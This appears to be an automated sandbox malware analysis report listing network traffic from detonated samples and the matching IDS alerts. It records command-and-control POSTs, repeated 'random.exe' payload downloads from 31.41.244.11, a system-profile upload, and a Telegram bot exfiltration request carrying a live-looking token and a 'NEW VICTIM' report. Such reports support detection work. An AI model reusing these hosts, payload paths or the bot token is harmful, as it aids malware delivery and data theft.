                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                              Source: global trafficHTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: */*Content-Type: application/jsonContent-Length: 504087Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 37 39 37 35 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019320001&unit=246122658369
                              Source: global trafficHTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763 HTTP/1.1Host: home.fivetk5ht.topAccept: */*
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019321001&unit=246122658369
                              Source: Joe Sandbox ViewIP Address: 185.215.113.43 185.215.113.43
                              Source: Joe Sandbox ViewIP Address: 185.121.15.192 185.121.15.192
                              Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                              Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
                              Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
                              Source: unknownDNS query: name: ipinfo.io
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49810 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49809 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49829 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49833 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49842 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49850 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49853 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49825 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49867 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49892 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49915 -> 31.41.244.11:80
                              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49925 -> 104.21.91.209:443
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 50Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q16GXYS6BSXCA0GFZKDCookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18172Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MVU42RO0L29Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8745Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BI1K9O4J8Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20386Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=052ZCT1NTXF1P96Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1284Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CCBHJ3TNCookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568140Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 85Host: cheapptaxysu.click
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00AFE0C0 recv,recv,recv,recv,0_2_00AFE0C0
                              Source: global trafficHTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20494126%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20494126%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
                              Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                              Source: global trafficHTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763 HTTP/1.1Host: home.fivetk5ht.topAccept: */*
                              Source: global trafficDNS traffic detected: DNS query: cheapptaxysu.click
                              Source: global trafficDNS traffic detected: DNS query: drive.google.com
                              Source: global trafficDNS traffic detected: DNS query: drive.usercontent.google.com
                              Source: global trafficDNS traffic detected: DNS query: ipinfo.io
                              Source: global trafficDNS traffic detected: DNS query: api.telegram.org
                              Source: global trafficDNS traffic detected: DNS query: httpbin.org
                              Source: global trafficDNS traffic detected: DNS query: home.fivetk5ht.top
                              Source: global trafficDNS traffic detected: DNS query: treehoneyi.click
                              Source: unknownHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click
                              Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 21 Dec 2024 11:15:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HpnOlsQBYc93jnYqYKuP7cMib0EwdqtVBwn5RuDo56tugvY6ia3%2B3FlLP%2BMIALvVv8C69qFtyb%2FKTwMzISNk73H915lc09QWMM5EuAkCc31EYOR%2BuWNMi1Koc%2F1QynmcNKajayk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f57745ffddf424a-EWR
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://.css
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://.jpg
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;:
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/32
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.0000000001587000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php%
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php0
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php2
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php5
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php6
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.0000000001587000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php9
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpO
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpY
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpa=
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpd0f87c9fba7075c3b39K=
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phped
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpedh
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpf-
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpurlmon.dll
                              Source: Gxtuum.exe, 00000026.00000002.2935835447.00000000015C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.193.31.8/A
